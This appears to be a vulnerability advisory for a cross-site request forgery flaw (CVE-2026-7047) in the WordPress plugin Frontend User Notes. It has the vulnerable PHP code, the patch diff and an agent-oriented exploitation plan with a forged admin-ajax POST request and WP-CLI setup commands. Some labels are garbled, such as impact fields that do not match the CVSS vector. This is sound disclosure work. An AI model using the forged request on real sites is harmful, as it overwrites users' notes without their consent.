CVE-2026-7047

Frontend User Notes <= 2.1.1 - Cross-Site Request Forgery to Note Content Modification via 'confirmEdit' Action

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.2.0
Patched in
1d
Time to patch

Description

The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.1. This is due to missing or incorrect nonce validation on the funp_ajax_modify_notes function. This makes it possible for unauthenticated attackers to trick a logged-in user into visiting a malicious page, causing unauthorized overwriting of that victim's own note content via a forged cross-site request to wp_update_post() via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to ownership enforcement comparing the note's stored _funp_single_user_id meta against the current session's user ID, the attack is limited to modifying only notes belonging to the tricked victim, and cannot be used to alter notes owned by arbitrary third-party users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.1
PublishedJune 5, 2026
Last updatedJune 5, 2026
Affected pluginfrontend-user-notes

What Changed in the Fix

Changes introduced in v2.2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7047 ## 1. Vulnerability Summary The **Frontend User Notes** plugin for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)** in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler `funp_ajax_modify_notes` because it fai…

Show full research plan

Exploitation Research Plan: CVE-2026-7047

1. Vulnerability Summary

The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler funp_ajax_modify_notes because it fails to perform nonce validation when the noteAction parameter is set to confirmEdit. This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in user, modifies the content of the victim's existing notes. While the plugin enforces ownership (ensuring a user can only modify their own notes), the lack of CSRF protection means the victim's browser can be coerced into "self-modifying" their notes with attacker-supplied content.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: funp_ajax_modify_notes
  • Vulnerable Parameter: noteAction (when set to confirmEdit)
  • Payload Parameter: noteContent (the new content for the note)
  • Target ID Parameter: noteEditId (the ID of the note to modify)
  • Authentication Required: Logged-in user (the "victim")
  • Preconditions: The victim must have at least one existing note (post type: frontend-user-notes).

3. Code Flow

  1. Entry Point: The plugin registers the AJAX action in includes/ajax.php:
    add_action("wp_ajax_funp_ajax_modify_notes", "funp_ajax_modify_notes");
    
  2. Handler Execution: When a POST request is made to admin-ajax.php with action=funp_ajax_modify_notes, the funp_ajax_modify_notes() function is called.
  3. Authorization Check: The function retrieves the current user ID and verifies the note's owner:
    $user_id = funp_cur_user_id();
    $cur_note_author = absint( get_post_meta( $post_id, '_funp_single_user_id', true ) );
    if ( ! $cur_note_author || $cur_note_author !== $user_id ) { ... }
    
  4. Vulnerable Branch: The function checks the $action variable:
    $action = isset( $_POST["noteAction"] ) ? ... : null;
    // ...
    if( $action === esc_html("remove") ){
        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { ... }
        // ... logic ...
    }
    if( $action === esc_html("confirmEdit") ){
        // VULNERABILITY: No check_ajax_referer() or wp_verify_nonce() call here.
        $update_note = array(
            'ID'           => $post_id,
            'post_content' => wp_strip_all_tags( $cont, true ),
        );
        $update = wp_update_post($update_note);
    }
    
  5. Sink: The content is updated via wp_update_post().

4. Nonce Acquisition Strategy

According to the source code analysis, the confirmEdit action does not verify a nonce. Therefore, an attacker does not need to acquire one to successfully exploit this specific action.

However, for a complete PoC and to demonstrate the failure of the security control, one can observe that other actions (like remove) do require a nonce named security with the action string funp_note_action_nonce.

If an agent needs to retrieve nonces for other parts of the plugin (e.g., to prove they exist but are ignored here):

  1. Shortcode: The plugin uses [fun-my-notes] to display notes on the frontend.
  2. JS Variable: The plugin enqueues funp_fn_scripts and localizes the variable FUNP_AJAX_VAR.
  3. Extraction:
    • Create a page with [fun-my-notes].
    • Use browser_eval("window.FUNP_AJAX_VAR?.nonce") to get the load-notes nonce.
    • Note: The funp_note_action_nonce is actually embedded in the HTML links of the note cards (data-nonce attribute) generated by funp_notes_inner_links().

5. Exploitation Strategy

The goal is to modify a victim's note without a valid nonce.

Step 1: Discover Target Note ID

The attacker needs the ID of a note belonging to the victim. In a real-world CSRF, this might be guessed or obtained via other means, but for a PoC, we will identify a note ID created during setup.

Step 2: Perform the Forged Request

Use the http_request tool to send a POST request as the logged-in victim.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=funp_ajax_modify_notes&noteEditId=[NOTE_ID]&noteAction=confirmEdit&noteContent=EXPLOITED_BY_CSRF
    

6. Test Data Setup

  1. Create Victim User:
    wp user create victim victim@example.com --role=subscriber --user_pass=password
    
  2. Create Initial Note for Victim:
    Notes use the custom post type frontend-user-notes. The ownership is tracked via the _funp_single_user_id meta key.
    NOTE_ID=$(wp post create --post_type=frontend-user-notes --post_status=publish --post_title="Note ID: " --post_content="Original Content" --post_author=$(wp user get victim --field=ID) --porcelain)
    wp post meta set $NOTE_ID _funp_single_user_id $(wp user get victim --field=ID)
    
  3. Session: Ensure the agent's browser context is logged in as victim.

7. Expected Results

The server should return a JSON success response:

{
  "success": true,
  "data": {
    "message": "Note updated successfully",
    "update": { ... },
    "action": "confirmEdit"
  }
}

Crucially, the request should succeed despite the absence of a security parameter in the POST body.

8. Verification Steps

After the http_request, verify the database state using WP-CLI:

wp post get [NOTE_ID] --field=post_content

Success condition: The output should be EXPLOITED_BY_CSRF.

9. Alternative Approaches

If the plugin is configured in a way that wp_ajax actions behave differently, an attacker could try to trigger the same logic via the wp_ajax_nopriv hook if it were registered, but in this plugin, only wp_ajax (authenticated) is registered for modification.

Another vector would be to test the remove action. If the security parameter is provided but with an incorrect nonce, and it still deletes the note, it would indicate a broader failure of check_ajax_referer. However, the code explicitly checks the nonce for remove, so the confirmEdit path remains the primary exploit target.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.1.1 due to missing nonce validation on the 'confirmEdit' action in the AJAX handler. This allows an attacker to trick a logged-in user into unknowingly overwriting the content of their own notes with attacker-supplied text.

Vulnerable Code

// includes/ajax.php (v2.1.1)

add_action("wp_ajax_funp_ajax_modify_notes", "funp_ajax_modify_notes");
function funp_ajax_modify_notes(){
    if( empty( $_POST ) ) {
        $message = __('No data was posted.', 'frontend-user-notes');
        wp_send_json_error( $message);
    }

    $post_id    = isset( $_POST["noteEditId"] ) ? absint($_POST["noteEditId"]) : 0;
    $action     = isset( $_POST["noteAction"] ) ? sanitize_text_field( wp_unslash ( $_POST["noteAction"] ) ) : null;
    $cont       = isset( $_POST["noteContent"] ) ? sanitize_textarea_field( wp_unslash ( $_POST["noteContent"] ) ) : null;
    
    // ... (omitted user/post validation) ...


    if( $action === esc_html("remove") ){
        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {
            $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');
            wp_send_json_error( $message );
        }
        // ... logic ...

    }

    if( $action === esc_html("confirmEdit") ){
        // VULNERABILITY: No nonce check (check_ajax_referer) is performed for this action branch

        $update_note = array(
            'ID'           => $post_id,
            'post_content' => wp_strip_all_tags( $cont, true ),
        );

        $update = wp_update_post($update_note);

        if( is_wp_error($update) ) {
            // ...

        } else {
            $message = esc_html__("Note updated successfully", "frontend-user-notes");
            wp_send_json_success( array( 'message' => $message, 'update' => get_post($post_id), 'action' => 'confirmEdit' ) );
        }
    }
}

Security Fix

--- includes/ajax.php	2025-11-14 16:17:12.000000000 +0000
+++ includes/ajax.php	2026-06-03 19:55:04.000000000 +0000
@@ -110,6 +110,11 @@
     $cont       = isset( $_POST["noteContent"] ) ? sanitize_textarea_field( wp_unslash ( $_POST["noteContent"] ) ) : null;
     $user_id    = funp_cur_user_id();
 
+    if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {
+        $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');
+        wp_send_json_error( $message );
+    }
+
     if ( !$user_id ) {
         $message = __('Unauthorized. You must be logged in.', 'frontend-user-notes');
         wp_send_json_error( $message );
@@ -135,11 +140,6 @@
     }
 
     if( $action === esc_html("remove") ){
-        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {
-            $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');
-            wp_send_json_error( $message );
-        }
-
         // Delete the post
         $delete = wp_delete_post($post_id, false);

Exploit Outline

1. Identify the Target: The attacker identifies the ID of a note belonging to a logged-in user (victim). 2. Craft CSRF Payload: The attacker creates a malicious HTML page or script that sends an unauthenticated POST request to `/wp-admin/admin-ajax.php`. 3. Set Request Parameters: The payload sets the `action` to `funp_ajax_modify_notes`, `noteAction` to `confirmEdit`, `noteEditId` to the victim's note ID, and `noteContent` to the attacker's desired text. 4. Victim Interaction: The attacker tricks the logged-in victim into visiting the malicious page (e.g., via phishing). 5. Execution: Because the `confirmEdit` logic path in `funp_ajax_modify_notes` does not verify a security nonce, the WordPress AJAX handler processes the request as if the victim intended it, successfully calling `wp_update_post()` to modify the note.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.